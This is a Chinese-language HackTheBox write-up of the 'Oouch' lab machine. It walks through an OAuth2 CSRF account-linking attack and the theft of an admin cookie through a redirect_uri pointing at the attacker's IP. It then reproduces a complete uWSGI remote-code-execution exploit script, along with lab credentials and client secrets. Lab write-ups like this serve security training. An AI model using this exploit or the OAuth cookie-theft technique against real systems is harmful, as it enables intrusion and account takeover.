HackTheBox - Oouch
Nmap扫描:
21 | open | ftp |
22 | open | ssh |
5000 | open | nginx service |
8000 | open | http-alt |
为了防止丢失信息,又用udp 协议扫描了一边,结果一样。
通过匿名登录ftp获取
kali@kali:~/Desktop/oouch$ cat project.txt
Flask -> Consumer
Django -> Authorization Server
通过这个文件在 hosts 追加以下的解析
10.10.10.177 consumer.oouch.htb
10.10.10.177 authorization.oouch.htb
简单描述:
端口5000
注册一个用户 test111 ,用这个用户和管理员用户通过【欺骗点击链接】达到关联用户的目的。然后通过应用授权获取 access_token ,授权后,通过access_token 调用 api接口,达到获取 ssh 私钥的目的。
端口8000:
授权服务器,application的注册都是在这里进行完成的。5000 的端口通过拿到 8000 端口分发的token 来达到其关联用户的目的。
注册完用户登录后,这里显示没有账户链接。consumer.oouch.htb
在这个oauth认证中心这里,点击注册用户。authorization.oouch.htb
用户名随便起。
注册完后,登录。
接下来我们来通过oauth2.0 来关联admin用户
这个页面是通过 ffuf 扫描出来的。
点击【Authorize】之前通过burpsuite 来拦截链接。
第一次的链接,直接放走。上图是第二次来自服务的应答,这里已经获取到了 【code】,点击Drop,不要关联。
组装成这样的格式:【http://consumer.oouch.htb:5000/oauth/connect/token?code=ySdhhj57X9KEGAzWPxuUgVFleViGy1】
点击【send】这是个漏洞,会自己点击访问这个URL。
下图就是按过回车后的页面。点击authorize,即可完成关联后台管理员的步骤。
已经关联上了。用户名是 qtc.
这个时候documents 这个页面已经对我们解锁了
可以看到,有个用户名密码,develop: supermegasecureklarabubu123!
还有一个/api/get_user接口在 authorization.oouch.htb 上面
第三个其实暗示还有一个接口。。。。 /api/get_ssh 接口
通过 develop: supermegasecureklarabubu123! 可以访问到这个应用的注册页面
通过接口访问这个app,你可以获取 管理员的cookie,和 access_token
我们先来获取管理员的cookie
获取cookie
http://authorization.oouch.htb:8000/oauth/authorize/?redirect_uri=http://10.10.14.231:8000/&client_secret=KAGn46LVEE3mIqzdCKqBBapX9cl54egyirgVWQBq9XSeF7LuLqEzg3iEHnmVGqHcJ1fLC0S67eoQ4R6Qi5BUWHJifBpsoMifXZLixlpAWWVkOrVP8fOiCOiQWDpJa8aY&client_id=6z0XPf1jtCtIyf4G7LujQ3xZzO8gYxzqttnyd27I&grant_type=authorization_code&scope=READ
在【send】按钮得上面得文本框里输入上面这个url,就可以cookie,可以看到上面得bash里已经获取到了。
然后把cookie修改到浏览器中,修改后,可以看到已经作为 qtc 用户登录了。
获取access_token
获取到了token就拥有了调用接口的能力了。
oauth接口规范中,获取token的url是: /oauth/token
grant_type | 授权类型 | oauth2.0 里有4中授权类型,这里用客户端认证 | client_credentials |
redirect_uri | 转向url | 这里必须和应用里填的是一样的。 | http://10.10.14.231:8000/ |
client_secret | 客户端私钥,密码 | 填写应用信息的时候已经默认有了 | KAGn46LVEE3mIqzdCKqBBapX9cl54egyirgVWQBq9XSeF7LuLqEzg3iEHnmVGqHcJ1fLC0S67eoQ4R6Qi5BUWHJifBpsoMifXZLixlpAWWVkOrVP8fOiCOiQWDpJa8aY |
client_id | 客户端id,也叫key吧 | 填写应用信息的时候已经默认有了 | 6z0XPf1jtCtIyf4G7LujQ3xZzO8gYxzqttnyd27I |
这里的请求客户端类型得更改为【confidential】
然后再请求这个接口
接口类型是post。
grant_type=client_credentials&redirect_uri=http://10.10.14.231:8000/&client_id=6z0XPf1jtCtIyf4G7LujQ3xZzO8gYxzqttnyd27I&client_secret=KAGn46LVEE3mIqzdCKqBBapX9cl54egyirgVWQBq9XSeF7LuLqEzg3iEHnmVGqHcJ1fLC0S67eoQ4R6Qi5BUWHJifBpsoMifXZLixlpAWWVkOrVP8fOiCOiQWDpJa8aY
目前为止,access_token有了
获取用户信息接口
获取ssh信息接口
这里因为oauth里登录的用户不一样,所以没办法取到。所以,修改cookie换个用户重新来一次。
ok已经成功获取了 qtc用户了。
提权部分
通过检查进程 ps -aux ,看到设置了2台,docker机器。
172.18.0.4 里发现了
然后通过 uwsgi exp来获取www-data权限。
#!/usr/bin/python
# coding: utf-8
######################
# Uwsgi RCE Exploit
######################
# Author: wofeiwo@80sec.com
# Created: 2017-7-18
# Last modified: 2018-1-30
# Note: Just for research purpose
import sys
import socket
import argparse
import requests
def sz(x):
s = hex(x if isinstance(x, int) else len(x))[2:].rjust(4, '0')
s = bytes.fromhex(s)
return s[::-1]
def pack_uwsgi_vars(var):
pk = b''
for k, v in var.items() if hasattr(var, 'items') else var:
pk += sz(k) + k.encode('utf8') + sz(v) + v.encode('utf8')
result = b'\x00' + sz(pk) + b'\x00' + pk
return result
def parse_addr(addr, default_port=None):
port = default_port
if isinstance(addr, str):
if addr.isdigit():
addr, port = '', addr
elif ':' in addr:
addr, _, port = addr.partition(':')
elif isinstance(addr, (list, tuple, set)):
addr, port = addr
port = int(port) if port else port
return (addr or '127.0.0.1', port)
def get_host_from_url(url):
if '//' in url:
url = url.split('//', 1)[1]
host, _, url = url.partition('/')
return (host, '/' + url)
def fetch_data(uri, payload=None, body=None):
if 'http' not in uri:
uri = 'http://' + uri
s = requests.Session()
# s.headers['UWSGI_FILE'] = payload
if body:
import urlparse
body_d = dict(urlparse.parse_qsl(urlparse.urlsplit(body).path))
d = s.post(uri, data=body_d)
else:
d = s.get(uri)
return {
'code': d.status_code,
'text': d.text,
'header': d.headers
}
def ask_uwsgi(addr_and_port, mode, var, body=''):
if mode == 'tcp':
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(parse_addr(addr_and_port))
elif mode == 'unix':
s = socket.socket(socket.AF_UNIX)
s.connect(addr_and_port)
s.send(pack_uwsgi_vars(var) + body.encode('utf8'))
response = []
# Actually we dont need the response, it will block if we run any commands.
# So I comment all the receiving stuff.
# while 1:
# data = s.recv(4096)
# if not data:
# break
# response.append(data)
s.close()
return b''.join(response).decode('utf8')
def curl(mode, addr_and_port, payload, target_url):
host, uri = get_host_from_url(target_url)
path, _, qs = uri.partition('?')
if mode == 'http':
return fetch_data(addr_and_port+uri, payload)
elif mode == 'tcp':
host = host or parse_addr(addr_and_port)[0]
else:
host = addr_and_port
var = {
'SERVER_PROTOCOL': 'HTTP/1.1',
'REQUEST_METHOD': 'GET',
'PATH_INFO': path,
'REQUEST_URI': uri,
'QUERY_STRING': qs,
'SERVER_NAME': host,
'HTTP_HOST': host,
'UWSGI_FILE': payload,
'SCRIPT_NAME': target_url
}
return ask_uwsgi(addr_and_port, mode, var)
def main(*args):
desc = """
This is a uwsgi client & RCE exploit.
Last modifid at 2018-01-30 by wofeiwo@80sec.com
"""
elog = "Example:uwsgi_exp.py -u 1.2.3.4:5000 -c \"echo 111>/tmp/abc\""
parser = argparse.ArgumentParser(description=desc, epilog=elog)
parser.add_argument('-m', '--mode', nargs='?', default='tcp',
help='Uwsgi mode: 1. http 2. tcp 3. unix. The default is tcp.',
dest='mode', choices=['http', 'tcp', 'unix'])
parser.add_argument('-u', '--uwsgi', nargs='?', required=True,
help='Uwsgi server: 1.2.3.4:5000 or /tmp/uwsgi.sock',
dest='uwsgi_addr')
parser.add_argument('-c', '--command', nargs='?', required=True,
help='Command: The exploit command you want to execute, must have this.',
dest='command')
if len(sys.argv) < 2:
parser.print_help()
return
args = parser.parse_args()
if args.mode.lower() == "http":
print("[-]Currently only tcp/unix method is supported in RCE exploit.")
return
payload = 'exec://' + args.command + "; echo test" # must have someting in output or the uWSGI crashs.
print("[*]Sending payload.")
print(curl(args.mode.lower(), args.uwsgi_addr, payload, '/testapp'))
if __name__ == '__main__':
main()
评论
发表评论